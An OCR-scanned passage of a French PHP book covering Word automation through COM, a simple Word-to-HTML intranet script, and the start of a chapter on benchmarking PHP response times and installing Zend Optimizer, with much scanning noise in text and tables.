. Doubl eStri keThrough = False 

.Outline = False 

.Emboss = False 

.Shadow = False 

.Hidden = False 

.Small Caps = False 

.AllCaps = False 

.Color = wdCol orAutomati c 

.Engrave = False 

.Superscript = False 

.Subscript = False 

.Spacing = 
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.Scaling = 100 
.Position = 
.Kerning = 

.Animation = wdAnimationNone 
End With 

Selection. TypeText Text:="Date: " 
Selection. Font. Bold = wdToggle 

Selection. TypeText Text:="06/07/02" oo 
Selection. TypeParagraph r; 
Selecti on. ParagraphFormat. Alignment = wdAl ignParagraphCenter <• = 

Selection. Font. Bold = wdToggle n 5 

Sel ection. Font . Ital ic = wdToggle o"S, 
Selection. TypeText Text:="Adresse" 3 3 

Selection. TypeParagraph =■ 
Sel ection. Font . Ital ic = wdToggle <o~ 
Sel ecti on .TypeText Text:="Texte de la commande" 
Selection. ParagraphFormat. Alignment = wdAl ignParagraphLeft 
Sel ecti on . Whol eStory 
With Selection. ParagraphFormat 
With . Borders (wdBorderLeft) 

.LineStyle = wdLi neStyl eDoubl e 

.LineWidth = wdLineWidth050pt 

.Color = wdCol orAutomati c 
End With 

With . Borders (wdBorderRight) 

.LineStyle = wdLi neStyl eDoubl e 

.LineWidth = wdLineWidth050pt 

.Color = wdCol orAutomati c 
End With 

With . Borders (wdBorderTop) 

.LineStyle = wdLi neStyl eDoubl e 

.LineWidth = wdLineWidth050pt 

.Color = wdCol orAutomati c 
End With 

With . Borders (wdBorderBottom) 

.LineStyle = wdLi neStyl eDoubl e 

.LineWidth = wdLineWidth050pt 

.Color = wdCol orAutomati c 
End With 

.Borders(wdBorderHorizontal) .LineStyle = wdLineStyleNone 
With .Borders 

.DistanceFromTop = 1 

.Di stanceFromLeft = 4 

. Di stanceFromBottom = 1 

.DistanceFromRight = 4 

.Shadow = False 
End With 
End With 
With Options 

.DefaultBorderLineStyle = wdLi neStyl eDoubl e 
.DefaultBorderLineWidth = wdLineWidth050pt 
. Defaul tBorderColor = wdCol orAutomati c 
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End With 
End Sub 

Une analyse rapide permet de comprendre qu'un objet Word possede un attribut selection, 
qui possede des attributs et methodes permettant de positionner une tabulation par appel a 

Selection->ParagraphFormat->TabStops->Add( ) , etc. 

II suffit, pour ainsi dire, de remplacer les points ' . ' par des Heches '->' pour passer du code de 
la macro a celui du script PHP. Puis de convertir les passages de parametres "facon macro" en 
passage de parametres PHP. 

II est facile d'identifier les constantes Word (elles commencent par wd) puis de deviner leur role. 
Bref, avec un peu d'astuce, cela nous a permis d'obtenir le resultat escompte. 

Exemple 2 : un Intranet facile ! 

L'idee de ce deuxieme script est de realiser un Intranet pour lequel on suppose que les 
personnes ayant du contenu a y inserer ne connaissent pas l'HTML, et se restreindront a utiliser 
Word et a enregistrer leurs documents au format Word. 

Le script que nous allons creer permettra d'inserer un document Word au sein de deux autres 
definis comme l'en-tete et le pied de page du document. 

Listing 18.2 : intranet.php 

<?php 

define ("WDFORMATHTML", 8); 

$word = new C0M("word. application") or die("Unable to instanciate Word"); 
$word->Documents->Add() ; 

// Charge le document d'entete 
$word->Selection->InsertFile("C: Wentete.doc") ; 
$word->Sel ection->InsertFi 1 e("C:\\secretai re. doc") ; 
$word->Sel ection->InsertFi 1 e("C: Wpieddepage.doc") ; 



$word->ActiveDocument->SaveAs($_SERVER["DOCUMENT_ROOT"] . 

"WTestIntranet.html ", WDFORMATHTML); 

$word->Qui t () ; 

?> 

Ce script ne fait qu'accoler les trois documents et enregistre le resultat en tant que fichier 
HTML a la racine du site web. 
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Voici le document Word d'en-tete 



I entete.doc - Microsoft Word 



File Edit View Insert Format Tools Table Window Help Type a question for help ~ X 

□ cSHaaa^l m <? - %snm» & ioo% - . 





Hon fabuleux 
Sitewebir 



Contact : emmaglocrile.com H 
H 
1 
1 
1 
1 

1 -? 



Page 1 Sec 1 1/1 At 2,4 cm Ln 1 Col 1 French (Fra 3D 



Jj 



-I 



Figure 18.3 : entete.doc 

suivi du message de la secretaire 



I secretaire, doe - Microsoft Word 



File Edit View Insert Format J_ools Table Window Help Type a question for help * X 

o^y^a^^ m<? - lanai % ^ H ioo% - S - 



' 3 ■ I '10 ■ I ■ 11 ■ I ■ 12 ■ i ■ 13 ■ i ■ 14 ■ i ■ 15 ■ i ■ £j« I ■ i 



| -+ Bonjour-et-bienvenue-sur-notre-site-Web, -pas-besom 

diffuser-soit-meme-son-site -Web. -Bonne -route- s ur-notre- site -Web -et-zou-j e-met-meme- du- gras- 
parce-que-c'est-facile-sous-Word.Tf 



Et-hop-Q 


Un-tableauCi 


Sans-s'embeterO 


avec-des-balises.i3 



Page 1 Sec 1 1/1 At 2,4 cm Ln 1 Col 1 French (Fra U 
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Figure 18.4 : secretaire.doc 



|5 
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puis du pied de page : 



pieddepage.doc - Microsoft Word 



File Edit View Insert Forrnet Tools Table Window Help Type a question for help t x 



[Producetl-by-PHP-BifoleU 



pieddepage.doc: 5.8 characters (an approximate value), 



jj 



Figure 18.5: pieddepage.doc 

La page HTML produite par Word 



3 Mon Fabuleux Site web - Microsoft Internet Explorer 



Fichier Edition Affichage Favoris Outils ? 

Q ' Q @ & \J2 Rechercher Favoris ^jf 1 Media ^ T ^ S ' 



esse C:\Docurnents and 5etiririg5\theijts\Mes documents\T5stlritr.3riet.html 



J 01! 




Mon Fabuleux Site web 



Contact: emma@locrite.oom 



Bonjour et bienvenue sur notre site Web, pas besoin de savoir faire de l'HTML pour diffuser soit 
rneme son site Web. Bonne route sur notre site Web et zou je met rneme du £i as parce que c'est facile sous 
Word. 



Ethop 


Un tableau 


Sans s'embeter 


avec des balises. 



Pr oduced by PHP Bible 



J Poste de travail 



Figure 18.6: Testlntranet.html 



1336 



COM 



Comme vous pouvez le constater, 1'en-tete est different. Cela est du a la facon de faire de 
Microsoft Word pour transformer un document Word en document HTML. 




User de cette methode peut provoquer de graves def alliances de serveur 

Evitez tout de meme d'user des objets COM comme les applications bureautiques, 



ATTENTION car ^ s sont tr ^ s gourmands en ressources ( chaque ouverture de {'application necessite 
d'allouer beaucoup de memoire et sollicite grandement le disque dur). Plus vous 
ouvrirez d'objets COM, plus la chute du serveur sera proche. 
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Introduction 



19.1. Introduction 



Des lors qu'un site devient populaire, et done que le nombre quotidien des visiteurs est eleve, 
il convient de reduire au minimum le temps de reponse du serveur. Cela n'a pas pour seul 
benefice de reduire le temps d'attente de l'utilisateur, mais egalement de reduire la probability 
qu'une ou plusieurs requetes arrivent alors que le serveur est deja en train d'en traiter d'autres. 
Le nombre de requetes que doit traiter simultanement un serveur est appele "la charge". Plus le 
serveur sera "charge", moins il aura de ressources disponibles, et plus il mettra de temps a 
repondre a une requete. . . jusqu'a ne plus pouvoir prendre en compte les nouvelles requetes et 
etre contraint de les refuser. 

Ce temps de reponse depend evidemment d'un grand nombre de parametres : _i 

, CO 
CD ' 

Le materiel (la quantite de memoire, la vitesse des disques durs, etc.) ; 3 ^ 

CO "C3 

Le systeme d'exploitation (sa capacite a realiser plusieurs traitements en parallele, sa a. 
vitesse d'execution) ; ™ 5;- 

Le serveur web (et sa capacite d'optimiser, done de reduire le nombre d'operations a 00 
realiser). g 



Nous ne nous interesserons ici qu'a l'aspect PHP (composante du serveur web). 
L'execution d'un script PHP se deroule en trois etapes principales : 

1 . Ouverture du fichier et analyse syntaxique du script (parsing) qui consiste a detecter les 
blocs d'instructions, les declarations de fonctions, etc. 

2. La compilation du code. Autrement dit, la transformation des elements (ecrits dans un 
langage comprehensible par l'homme) detectes dans l'etape 1 en elements 
comprehensibles par la machine. 

3. L'execution du code (generalement pour generer un document HTML). 

Nous allons vite nous rendre compte qu'il est possible d'intervenir a ces trois niveaux afin de 
reduire le temps de reponse du serveur. 

La premiere des choses necessaires pour que le temps d'execution soit minimal est tout 
simplement que la compilation offre un code optimal (inutile de mettre deux instructions la ou 
une seule suffit). 

La seconde chose est d'eviter de refaire pour un client une operation qui vient d'etre realisee 
sur le meme script pour un des clients precedents. Pour cela, il faut stocker le resultat des 
operations 1, 2, et eventuellement 3, dans une memoire appelee cache. 

Ce dernier point doit etre etudie avec attention. II existe en effet deux cas de figure : 

C'est le resultat de la compilation (etapes 1 + 2) qui est mis en cache. Dans ce cas, le code 
sera re-execute a chaque appel. Le document reste done un document genere 
dynamiquement. 

C'est le resultat de l'execution (etapes 1 + 2 + 3) qui est mis en cache (autrement dit le 
code HTML). Dans ce cas, le document n'est pas genere dynamiquement a chaque appel 
(c'est le code HTML qui est rappele). Si, par exemple, ce document doit afficher l'heure, 
c'est l'heure a la date de mise en cache du document qui sera restituee lors des prochains 
appels. 



CD 

CO 
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La difference entre ces deux solutions est done tres importante. Alors que la premiere est 
applicable a n'importe quel type de script PHP, la seconde sera a reserver pour les scripts 
retournant un resultat evoluant peu dans le temps, ou, en tout cas, dont la mise a jour n'a pas 
besoin d'etre immediate (ceci n'est done pas applicable a un forum et encore moins a un 
systeme de cotations en bourse). 

Dans l'immediat, nous ne nous interesserons qu'aux solutions (que nous appellerons solutions 
"bas niveau") qui ne sont pas liees a une mise en cache du document genere. 

Comme toujours avec les problemes d'optimisation, il faut se mefier de la theorie. Les resultats 
peuvent etre radicalement differents d'un cas de figure a l'autre. Afin d'avoir tout de meme une 
idee de l'impact de ces differentes methodes d'optimisation, nous avons realise des tests sur un 
mini-site local cree pour l'occasion. Ce site est assez fidele a ce que peut contenir un veritable 
site web. II contient done des pages quasiment statiques (comme peuvent l'etre les pages 
d'accueil) ainsi que des pages totalement dynamiques (comme peuvent l'etre les pages de 
moteurs de recherche ou de forums). Pour mettre en avant certains cas de figures, nous avons 
tout de meme rajoute des pages considerees comme non representatives d'un site web (comme 
des pages faisant appel a du calcul scientifique). 

19.2. Environnement de test des solutions "bas 
niveau" (modules PHP) 

Configuration materielle 

Les tests ont ete realises a partir d'un poste client base sur un Intel Pentium II (Deschutes) 
400 MHz equipe de 256 Mo de RAM et du systeme d'exploitation Linux (Mandrake 8.1) relie 
au serveur par une liaison BNC. 

Le serveur, quant a lui, est equipe de la maniere suivante : 

■ Processeur : AMD K6-II 350 MHz ; 
Memoire : 192 Mo (+136 Mo virtuelle) ; 

Disque dur : IBM-DTTA-351010 10 Go (IDE) (11 Mo/s) ; 

■ Systemes d'exploitation : Linux (Mandrake 9.1) ; 

■ Serveur : Apache 1.3.28 avec PHP 4.3.0 ; 

■ Base de donnees : MySQL 4. 

Pourquoi PHP 4.3.0? 

C'est la version 4. 3. et non une version superieure qui a ete retenue parce qu 'a la date 
ou les tests ont ete realises, il s'agissait de la seule version officiellement compatible 
avec {'ensemble des solutions d'optimisation presentees ici. Ceci dit, des tests 
complementaires ont montre qu'il y a tres peu de differences entre les resultats 
obtenus avec PHP 4. 3. et PHP 4.3.2 meme si celle-ci est en faveur de PHP 4. 3. 2. 
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EtPHP5 ? 

A ce jour quasiment aucune des solutions d 'optimisation ne supporte officiellement 
(du moins) PHP 5. 



Pages testees 



Les tests ont porte sur trois pages principales (dont les sources sont disponibles sur le 
CD-ROM) : 

■ Une quasi-statique ; 
Une dynamique ; 

■ Une mathematique. 

La page quasi-statique 

La page quasi-statique ne possede aucun element variable. Tous les elements de la page sont 
figes : aucun n'est dependant de l'heure, de l'utilisateur ou du contenu d'une base de donnees. 
Ce peut-etre, par exemple, une page d'accueil. 

Bien que cette page aurait pu etre ecrite directement en HTML, sa constitution tire toutefois 
parti des avantages qu'offre PHP, puisque chaque element de la page (en-tete, menu gauche, 
menu droit, pied de page) est decrit dans un fichier qui lui est propre. Le tout est assemble par 
de simples "include". Les menus, quant a eux, sont decrits dans des classes (ce qui offre une 
grande facilite de mise a jour). 



Typical website - Netscape 6 



_ n x 



Fichier Edition Afficher Rechercr 



Signets Taches Aide 



4 . t . a 

Precedent ■ " Reehargei 



.php 



Super Title of my WebSite 



English 

iternl 
item I 1 



English 



1 1 is the defai ( f tl im ite. This p i) [ 

some include (not 

according to data stored in objects). There is no database access here, 
no included image, no included .ess file. 

As a conclusion, the data a? statics, only the building is dynamic. 




Fran^ais 



Ceci est la page par defaj.it de ce site de test. Cette page n'est 
consituee que de quelques includeO (assez peu) . un peu de traitement 

i nusson istn ipartii ie donnees stoclsees 
dans des objets). II n'y apas d'aeees a une base de donnees ici, pas 
d'irnage, pas de fichier .ess. 

En conclusion, les donnees sont statiques, seule I'assemblage est 
dynamique. 

Copyright (c) 2002 

Document : Termine (0.7 s) 



Figure 19.1 : La page quasi-statique 



Cette page fait 1 569 octets. 
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La page dynamique 



La page dynamique est, quant a elle, totalement dynamique et est susceptible de changer a 
chaque appel, puisque son contenu est issu d'une base de donnees pouvant etre alimentee a 
tout moment. C'est le cas, par exemple, d'une page de resultats d'un moteur de recherche ou 
d'un forum. 

Nous utiliserons ici le site de petites annonces developpe au cours du chapitre Les bases de 
donnees. 

La quantite de donnees dans la base est limitee a 33 enregistrements, afin que la mesure ne 
porte pas trop sur la capacite de reponse de la base de donnees. 



Typical website - Netscape 6 



_ n x 



Fichier Edition Afficher Fiechercher Aller a Signets Inches Aide 



Precedent Transferer Fiecharger Arreter 



hi ip :ii i 21 . ' 63 . i .1 ybenchyphrj^'ehsileii5anncnces_pecir/pai 



Super Title of my WebSite 



English 

iteml 
item2 

item9 



Les petites annonces 



- Date + - Localite 


+ - Type + - 


Surface 
(m2) 


+ - 


_iOyer + 
(euro) 


13/10/02 Dieppe 


F4 




92 


1328f detaill 


30/09/02 Dieppe 


F3 




100 


1064detaill 


15/09/02 Yvetot 


Studio 




57 


743detaill 


02/09/02 Le Havre 


F4 




77 


S2Sfdetaill 


31/08/02 Rouen 


Studio 




21 


24£fdetail] 


29/08/02 Le Havre 


Studio 




18 


28g"detaill 


25/08/02 Etretat 


F2 




60 


886:detaill 


12/08/02 Le Havre 


F3 




110 


2141[detaill 


05/08/02 Etretat 


F3 




41 


781[detail] 


27/07/02 Rouen 


F2 




89 


158g"detaill 




1 2 


3 4 




Suivants 




Recherche par mot cle: 



Copyright (c) 2002 



Document : Termire (0.929 s) 



=»=d' 



Figure 19.2 : La page dynamique 
Cette page fait 8 850 octets. 



La page mathematique 

La page mathematique a pour objectif de realiser un grand nombre d'operations et de boucles, 
afin de veritablement sollicker le langage PHP lui-meme. En l'occurrence, nous avons choisi de 
realiser une fonction exponentielle qui effectue en boucle un grand nombre d'additions et de 
multiplications. 

Ce cas n'est pas veritablement representatif d'un site Internet. 



1344 



Environnement de test des solutions "bas niveau" (modules PHP) 



= .'/ebsite - Netscape 6 



l_ n x 



Fichier Edition Afficher Rechercher AIJer a Signets laches Aide 



4 , i 

Pre ce dent Transferer 



Fie charger 



http:ffl 92. 1 68. 1 .1 &enchfchpAveb3iteAnaih.php 



English 

iteml 
item2 

item9 



Super Title of my WebSite 



The purpose of this page is only to compute alarge number of 
instructions and to provide the value of exp(0.5) 

Cette page se contente d'effectuer un grand nombre d'operations, pour 
finallement calculer exp(Q.5). 




eKp(0.5) = 1.6487212707001 



Copyright (c) 2002 



\& Document : Termire (0.464 s) 



Figure 19.3 : La page mathematique 



Cette page fait 1 082 octets. 



Instrument de mesure 

Les mesures ont ete effectuees uniquement depuis le poste client (c'est done le cycle complet 
requete-reponse qui a ete mesure) grace a la commande ab fournie avec la version UNIX 
d'Apache. 

Cette commande permet (entre autres) de preciser le nombre de requetes a executer ainsi que 
le nombre de requetes concurrentes, et retourne (entre autres) le temps global d'execution et 
le nombre de requetes qui n'ont pu etre satisfaites. 

Dans chacun des cas etudies, nous avons systematiquement demande l'execution de 500 
requetes, et c'est done toujours sur le temps necessaire a la realisation de ces 500 requetes que 
nous avons etabli la comparaison. 

Les tests ont ete declines avec les niveaux de concurrence suivants : 1 (les tests sont done 
executes les uns apres les autres), 3, 5, 10, 50 et 100. 

Chaque test a ete renouvele plusieurs fois (au moins dix fois lors d'une session) et, afin d'ecarter 
tout doute, la plupart des sessions de test ont ete renouvelees deux fois a des dates differentes 
(avec redemarrage du systeme). II etait ainsi possible de de teeter une eventuelle perte de 
performance liee a une forte occupation memoire ou CPU par un programme externe lors du 
deroulement d'une des sessions. 



Presentation des mesures 



Les resultats des mesures (disponibles sur le CD-ROM) sont presentes sur un graphe 
accompagne d'un tableau donnant les valeurs numeriques. 
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Chaque mesure est representee par un point avec, pour ordonnee, la charge (le nombre d'acces 
concurrents) et, pour abscisse, le temps de reponse (temps total d'execution des 500 requetes, 
en secondes). 

Pour chaque niveau de charge, le temps moyen d'execution a ete calcule afin de tracer la courbe 
devolution du temps d'execution en fonction de la charge. 

Le graphe integre egalement (en arriere-plan et dans une autre echelle) le nombre moyen de 
requetes en echec. 

Notez que nous avons choisi une echelle logarithmique pour l'axe des abscisses (la charge). 



Graphe 



03 
CO 
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Les graphiques ont ete realises grace a la bibliotheque jpGraph decrite en annexe de 
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19.3. En l'absence de solution d' optimisation 

Mesures 



Page quasi-statique 



Apache/l.3.28 - Linux - PHP/a. 3.0 - quasi-statique 







o 



Charge tnb req. sirntil.) 



□ (20 tests en 2 series) 



Figure 19.4 : 

Temps de reponse 
d'unepage 
quasi-statique sans 
optimisation 



Tableau 19.1 : Temps de reponse sans optimisation d'une page quasi-statique 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


1 


7.96 


5.87 


15.23 





3 


4.97 


4.87 


5.10 





5 


4.88 


4.78 


4.98 





7 


4.84 


4.75 


4.9 
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En I'absence de solution d'optimisation 



Nombre de 

requetes 

simultanees 


Temps total 
d'execution (en 
secondes) 


Temps total 
d'execution 
minimum (en 
secondes) 


Temps total 
d'execution 
maximum (en 
secondes) 


Nombre de 
requetes en 
echec 


10 


4.85 


4.78 


4.9 





50 


4.86 


4.81 


4.91 





100 


4.92 


4.85 


5.17 






Nous observons un delai d'execution des 500 requetes bien plus long (+ 64 %) lorsque celles-ci 
sont emises les unes a la suite des autres (en comparaison avec plusieurs appels simultanes). 
Ceci n'a rien d'etonnant, et vous comprendrez aisement qu'un systeme concu pour traiter 
plusieurs taches en meme temps ne pourra optimiser son travail que si les demandes ne lui 
arrivent pas les unes apres les autres. 

Nous constatons egalement que le serveur ne souffre pas de la charge qui lui est imposee. II 
traite quasiment aussi rapidement les requetes qu'il y en ait 3 ou 100 simultanement (seule une 
tres legere augmentation du temps d'execution est observable a partir de 50 requetes 
simultanees). Et aucune requete ne tombe en erreur (elles sont toutes honorees par le serveur). 

Les resultats obtenus sont d'une tres bonne stabilite. Hormis le cas ou les requetes sont emises 
les unes apres les autres, les resultats obtenus d'un test a l'autre sont similaires (avec des 
variations maximales de plus ou moins 2 %, comme le montrent les temps maximum et 
minimum releves). 



Comparatif avec les tests des editions precedentes 

Les tests realises dans les merries conditions mais avec Mandrake 8. 1, Apache 1.3.24, 
PHP 4. 2. 1 et MySQL 3 ( sur le serveur) donnaient des resultats moins bons: de Vordre 
de 5, 8 secondes contre 4, 8 ici. Difficile de determiner quel est Velement (PHP?) qui a 
permis ce gain en performance de 20% d'une annee sur l'autre mais il est pourtant bel 
et bien reel. 

Page dynamique 

Figure 19.5 : 

Temps de reponse 
d'une page dynamique 
sans optimisation 



REMARQUE 
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Tableau 19.2 : Temps de reponse sans optimisation d'une page dynamique 





Nnmhrp rip 
HUIIIUIG uc 


Tpmnc tntnl 
1 CIIIUo lUldl 


Tpmnc tntnl 
1 GlMUo LUldl 


Tpmnc tntnl 

1 UlllUo lUldl 


Nnmhrp rip 
HUIIIUIG uc 




requetes 


d'execution 


d'execution 


d'execution 


requetes en 




simultanees 




minimum 


maximum 


echec 




1 


74.03 


73.29 


75.139 







3 


71.64 


70.47 


72.90 







5 


72.58 


71.66 


73.27 







7 


73 37 


72.60 


74.10 


o 




10 


73.79 


73.00 


74.36 
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50 


79.35 


78.24 


80.97 





c 
o 

£2. 


100 


81.30 


78.96 


84.33 


moyenne 12.6 


-<D 










minimum 1 


09 

•a 










maximum 66 
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Nous pouvons faire ici la meme remarque que precedemment concernant les requetes emises 
une a une. La encore, sans surprise, le temps total est plus long que lorsque les requetes sont 
traitees simultanement. 

Les temps d'execution sont, cette fois-ci, plus sensibles a la charge. A tel point que le serveur et/ou 
la base de donnees ne suivent plus lorsque Ton atteint les 100 requetes simultanees. Bien qu'ils 
soient represented sur le graphe, les temps mesures ne sont alors plus vraiment representatifs (il 
est plus rapide de dire "Non... je ne peux pas traiter ta requete" que de la traiter). 

L'impact de la charge se fait ressentir au-dela des 10 requetes simultanees. 

Les mesures ne laissent apparaitre qu'une faible variation (de l'ordre de 1 %) d'un test a l'autre. 



Comparatif avec les tests des editions precedentes 

Les tests precedents donnaient egalement des resultats moins bons: de l'ordre de 91 
REMARQUE secondes contre 73 ici: soit un gain de 25%. 



Page mathematique 



" 50 S 
I 40 
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090 



i 100 
Charge (rib req. siniul.) 



[□ (.20 tests en 2 series7~| 



Figure 19.6 : 

Temps de reponse 
d'une page 
mathematique sans 
optimisation 
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Avec Zend Optimizer 



Tableau 19.3 : Temps de reponse sans optimisation d'une page mathematique 



Mnmhrp rio 

MUIIIUI c uc 

requetes 
simultanees 


Tpmnc tntnl 
1 clll|Jo lUldl 

d'execution 


Tpmnc tntnl 
1 UlMUo lUldl 

d'execution 
minimum 


Tpmnc tntal 
1 ulllUo lUlaJ 

d'execution 
maximum 


Nnmhrp rip 

requetes en 
echec 


1 


52.71 


49.05 


55.59 





3 


47.22 


46.70 


47.84 





5 


47.41 


46.63 


47.96 





7 


47.37 


46.73 


47.95 





10 


47.31 


46.47 


47.94 





50 


49.11 


48.28 


50.55 





100 


49.36 


48.02 


51.88 






Nous ne reviendrons plus sur l'analyse des resultats obtenus lorsque les requetes sont emises les 
unes apres les autres pour nous concentrer sur le phenomene de charge. 

Tout comme avec le script precedent, ce test est sensible a la charge. Ainsi, le temps de reponse 
augmente au fur et a mesure qu'augmente la charge (de 3 a 100 requetes par secondes) 
exception faite d'un petit "accident" pour 5 requetes par secondes. Cependant, cette fois, meme 
avec 100 requetes par secondes, aucune requete ne tombe en erreur (laissant entendre que le 
role de la base de donnees dans la perte de tenue en charge n'est pas negligeable). Le temps 
total d'execution semble meme atteindre un palier de seulement 4 % superieur a la plus petite 
mesure relevee (pour trois acces concurrents). 

La encore, la stabilite des resultats obtenus est satisfaisante (des variations de plus ou moins 
2 % a peine). 



Comparatif avec les test des editions precedentes 

Surprise! Les tests precedents donnaient de meilleurs resultats: de I'ordre de 42 



REMARQ JE secondes contre 47 ici: soit une perte de 10%. 



Reste maintenant a voir ce que peuvent nous apporter les solutions d'optimisation. 



19.4. Avec Zend Optimizer 

Entre les versions 3 et 4 de PHP, il y a, semble-t-il, eu un gros effort concernant l'optimisation 
du compilateur PHP. Cependant, cela n'a pas empeche la societe Zend de proposer 
(gratuitement) un optimisateur de code appele Zend Optimizer. 



Description 

Cet optimisateur a pour objectif d'effectuer quelques traitements supplementaires sur le code 
genere, afin de le rendre encore plus rapide a l'execution. II va done de soi que l'utilisation de 
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1'optimisateur ne sera benefique que si le temps gagne a l'execution est superieur au temps 
perdu a effectuer le travail d'optimisation. 

Ce code est disponible gratuitement a l'adresse http://www.zend.com (en anglais), 
pour les systemes d'exploitation : 

■ Windows ; 

■ Linux glibc2.1 ; 

■ FreeBSD 3.4 et 4.0 ; 
Solaris Sparc ; 
IBM AIX Server. 

Mac OS X (pour PHP>=4.3.2) 
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La version testee est la version 2.1.0 pour Linux compatible avec les versions de PHP>=4.0.5. 



Version 2.5 



La derniere version en date est la 2.5, elle supporte officiellement les versions de PHP 
REMARQUE al[ant de [a 4MJ a [a 5 _ ft QRC1 



Installation 

Son installation est tres simple. 



Sous Windows 

Apres avoir telecharge la version de Zend Optmizer gratuitement sur le site officiel (http://www 
.zend.com), il suffit de lancer son installation et de suivre les etapes decrites ci-dessous. 

Tout d'abord, vous serez invites a lire et a accepter la licence. 



InstallShield Wizard 



Choose Destination Location 

Seise! folder where Setup will install files- 



Setup will install ^end Optimizer in the following folder 

To install tc this folder, click Next. To install to a different folder, click Browse and select 
another Folder. 



-DesfjHp'fion Folder 
C:\Prograrn Files^Zend 



Figure 19.7 : 

Selection du repertoire 
d' installation 
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Avec Zend Optimizer 



Puis vous pourrez selectionner le repertoire dans lequel vous souhaitez installer le logiciel. 



InstallShield Wizard 



php.ini location 



Confirm location ot php.ini 



Figure 19.8 : 

Selection du repertoire 
php.ini 



CD ' 

2° 



—i 00 
CD> fi) 



O o 



Ensuite, vous devrez confirmer ou modifier le chemin du repertoire contenant le fichier php.ini 
utilise par votre serveur. Une fenetre vous precisera alors que l'ancien fichier php.ini a ete 
sauvegarde sous un autre nom. 



CO 
CD 



InstallShield Wizard 



InstallShield Wizard Complete 



The InstallShield Wizard has successfully installed Zend 
Optimizer. Click Finish to enit the wizard. 



Figure 19.9 : 

C'est installe 



Et voila c'est fait. 



Sous Linux 

II vous suffit de copier le fichier dans un espace temporaire (ex. : Itmp) et de le decompresses 
Vous aurez certainement besoin d'etre connecte en tant qu'administrateur (root) afin de 
pouvoir creer l'arborescence de Zend Optimizer (typiquement sous /usr/local). 

# gunzip Zend0ptimizer-2.1.0b-Linux_glibc21-i386.tar.gz 

# tar xvf ZendOptimi zer-2. 1 .Ob-Linux_gl i bc2 1 - i 386 . tar 

# cd ZendOptimi zer-2. 1. Ob-Li nux_glibc21-i 386 



1351 



Chapitre 1 9 L'optimisation des temps de reponse 



03 

in 



o o 



5 E 



II suffit maintenant de lancer le script d'installation : 
# ./i nstal 1 . sh 

et de repondre correctement aux questions... 



Zend Dptiiizer 2.1.0 



welcome to the Zend Optimizer 2.1,0 Installation Script! 
For more information on this script, see the Installation 
section in the Zend Optimizer User Guide. 



Figure 19.10 : 

Fenetre d'accueil 



...apres avoir dit bonjour. Vous l'aurez compris, vous n'avez qu'a taper ( Entree] . 
Vous etes ensuite invites a lire et accepter (ou non) la licence. 

Figure 19.11 : 

Chemin d'installation 



Zend Dptipizer 2.1.0 

Specify the location where to install Zend Optimizer 



|/usr/local/Zend_0ptimizer_2.1,0[] 



Indiquez ensuite le nom du repertoire dans lequel vous souhaitez installer Zend Optimizer. Par 
defaut, le script vous propose "/usr/local/Zend". N'hesitez pas a le changer pour "/usr/local/ 
Zend _Optimizer_2. 1.0". C'est fait ? Tapez sur [ Entree | . 



Zend Optinizer 2.1.0 
Enter the location of your php.ini file 



/usr/local/lipD 



Figure 19.12 : 

Chemin du fichier php. ini 



Vous etes maintenant invite a indiquer le chemin du repertoire contenant votre fichier php.ini. 
Par defaut, il s'agit du repertoire "/usr/local/lib". C'est bon ? Passons a la suite en tapant [ Entree | . 



Zend Optiitzer 2.1.0 

Pre you using Apache web server? 



I] 



Figure 19.13 : 

Selection du serveur web 



Quelque peu indiscret, Zend Optimizer vous demandera si vous utilisez un serveur Apache ou 
non. Nous vous laissons repondre en votre ame et conscience. Toutefois, l'histoire ne dit pas ce 
qu'il se passe si Ton repond "No". Si vous avez la meme configuration que nous (ce qui est assez 
probable) vous aurez laisse la surbrillance sur "Yes" et tape [ Entree | . 
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Avec Zend Optimizer 



Zend Optinizer 2.1.0 

Specify the Apache bin directory 



^/usr/local/apache/binD 
<Cancel> 



Figure 19.14 : 

Chemin du serveur web 



Une reponse appelant une question, vous devez a present indiquer le chemin du repertoire 
bin/ d'Apache (peut-etre /usr/local/apache/bin). Ne faiblissons pas... et effectuons une nouvelle 
pression sur la touche [ Entree | . 



Zend Optiniier 1.3.1 

Your php.ini is relocated to the /usn/local/Zend_0pt_1.3.1/etc directory 

and symbolic link from the former place /usr/local/Zend/etc/php.ini is created. 



Figure 19.15 : 

Deplacement de 
php.ini 



Cette fois, c'est pour nous signaler que le fichier php.ini a ete deplace de son ancienne position 
(hum ! oui, dans notre cas, il etait sous lusr/locallZendletcl mais, habituellement, il se trouve 
sous lusrllocalllib) vers la nouvelle position /usr/local/Zend_Optimizer_2.1.0/etc/, et un lien 
symbolique a ete cree de l'ancienne vers la nouvelle. Une fois que vous avez pris connaissance 
de cette information, vous pouvez taper [Entree | . 



Zend Optinizer 2.1.0 

Trie installation was completed successfully. 
The Zend Optimizer is reedy for use. 

You must restart your Ueb server for the modifications to take effect. 



Figure 19.16 : 

Fenetre defin 



Et voila... c'est pret. C'est quasiment le dernier appui sur la touche | Entree] . 

Figure 19.17 : 

Redemarrage d'Apache 



Zend Optinizer 2.1.0 
Restart the Ueb server now? 



■se < No > 



I 



Vous etes maintenant invite a relancer le serveur Apache puis une page vous confirme le succes 
(ou non) de l'operation. 



Verification 

Une fois l'operation d'installation effectuee, vous pouvez verifier qu'elle s'est bien deroulee en 
appelant un script contenant simplement la ligne <?php phpinf o ( ) ; ?>. Vous devrez alors 
apercevoir le texte suivant : 









This program makes use of the Zend Scripting Language Engine: 
Zend Engine v1.3.0. Copyright (c) 1998-2003 Zend Technologies with Zend Extension 
Manager v1 .0.0.. Copyright jts) 2003, by Zend Technologies with Zend Optimizer 
v2.1 .0, Copyright (c) 1 998-2003, by Zend Technologies 


$ 


rt/ered by 









Figure 19.18 : phpinfo() 
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L'indication "with Zend Optimizer" confirme le succes de 1'operation d'installation. 
Vous constaterez egalement la presence de six nouvelles lignes dans votre fichier php.ini. 
[Zend] 

zend_optimi zer.optimi zation_l evel =15 

zend_extension=<chemin vers Zend Optimizeur>/lib/ZendOptimizer.so 
zend_extension_manager.optimizer=<chemi n> 
zend_extension_manager.optimizer_ts=<chemi n> 
zend_extension_ts=<chemi n> 

Si vous souhaitez desactiver l'optimisateur Zend, il vous suffira de mettre ces quelques lignes en 
u> commentaire (en les faisant preceder d'un point-virgule). 

1 1 

1 i" Mesures 

_ -a 

Figure 19.19 : 

Temps de reponse 
d'unepage 
quasi-statique avec 
Zend Optimizer 



